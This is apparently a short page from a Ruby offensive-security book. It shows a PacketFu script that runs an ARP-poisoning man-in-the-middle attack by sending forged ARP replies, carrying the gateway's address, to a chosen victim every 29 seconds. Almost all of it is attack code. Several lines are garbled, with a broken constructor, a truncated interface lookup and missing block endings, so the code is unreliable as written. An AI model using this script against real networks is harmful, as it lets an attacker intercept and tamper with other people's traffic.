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MiTM Attack

Example of a more elaborate MiTM attack using ARP Poisoning with PacketFU and socket using source code in this book as base.
require 'packetfu'
require 'socket'
def poison(lip, lmac, vip, vmac, rip, int_name)
puts "Sending ARP Packet Spoof Every 29 Seconds…"
x = => "Linux")
x.eth_saddr = lmac # your MAC Address
x.eth_daddr = vmac # victim MAC Address
x.arp_saddr_mac = lmac # your MAC Address
x.arp_daddr_mac = vmac # victim MAC Address
x.arp_saddr_ip = rip # Router IP Address
x.arp_daddr_ip= vip # Victim IP Address
x.arp_opcode = 2 # ARP Reply Code
while true do
x.to_w(int_name) # Put Packet to wire interface
sleep(29) # interval in seconds, change for your preference
def get_ifconfig(int_name)
int_config = PacketFu::Utils.whoami?(:iface => int_name)
return int_config[:ip_saddr], int_config[:eth_saddr]
def get_victim_info
puts "enter victim ip"
vip = gets
puts "enter victim MAC"
vmac = gets
puts "enter gateway ip"
rip = gets
return vip, vmac, rip
# need to be root to run this
puts "you need to run this script as root!"
exit 0
# select interface to use and start setup
interfaces = { |i| }.compact.uniq
list = Hash[(0...interfaces.size).zip interfaces]
list.each do |l, v|
puts "#{l} #{v}"
puts "enter interface number to use on MITM"
int_number = gets
if list.key?(int_number.to_i)
lip, lmac = get_ifconfig(list.fetch(int_number.to_i))
vip, vmac, rip = get_victim_info()
poison(lip, lmac, vip, vmac, rip, list.fetch(int_number.to_i))
puts "Selected interface does not exists"
Source: Ruby-MiTM and Rubyfu ARP Spoofing topic.